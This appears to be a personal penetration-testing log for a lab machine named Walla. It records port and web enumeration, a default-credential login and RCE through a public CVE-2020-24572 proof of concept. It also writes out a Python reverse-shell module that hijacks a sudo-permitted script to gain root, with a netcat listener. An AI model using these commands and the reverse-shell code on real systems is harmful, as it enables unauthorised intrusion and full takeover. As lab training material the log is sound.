Walla
๐งช Pentest Log: {{date:2025-08-11}}
๐ Target Information
- Machine Name: Walla
- IP Address: 192.168.187.97
- Operating System: Linux
ip=192.168.187.97
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 23
Port 25
Port 53
Port 422
Port 8091
Web Content Enumeration
gobuster dir -u http://$ip:8091 -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
found /package.json, and the home page of the system; obtain default credential of the system
admin:secret
after login, found
RaspAP v2.5
Google "RaspAP v2.5 exploit", found
CVE-2020-24572
Port 42042
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 8091
- Vulnerability Type: RCE
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
https://github.com/gerbsec/CVE-2020-24572-POC
python3 exploit.py $ip 8091 192.168.45.163 8091 secret 1
penelope -p 8091
๐งฌ Privilege Escalation
๐ค Current Access
- User: www-data
- Groups: www-data
- Shell Type: reverse shell
๐ Enumeration
Sudo:
sudo -l
found
User www-data may run the following commands on walla:
(ALL) NOPASSWD: /sbin/ifup
(ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py
(ALL) NOPASSWD: /bin/systemctl start hostapd.service
(ALL) NOPASSWD: /bin/systemctl stop hostapd.service
(ALL) NOPASSWD: /bin/systemctl start dnsmasq.service
(ALL) NOPASSWD: /bin/systemctl stop dnsmasq.service
(ALL) NOPASSWD: /bin/systemctl restart dnsmasq.service
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: Sudo Abuse
- Target Binary/Service: wifi_reset
- Reference / Source: N/A
๐ง Exploit Steps
- Setup
mousepad wificontroller.py
import socket,subprocess,os;
import pty;
def stop(num1, num2):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.45.163",25));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/bash")
def reset(num1, num2):
pass
def start(num1, num2):
pass
- Smash to root
sudo /usr/bin/python /home/walter/wifi_reset.py
nc -lvnp 25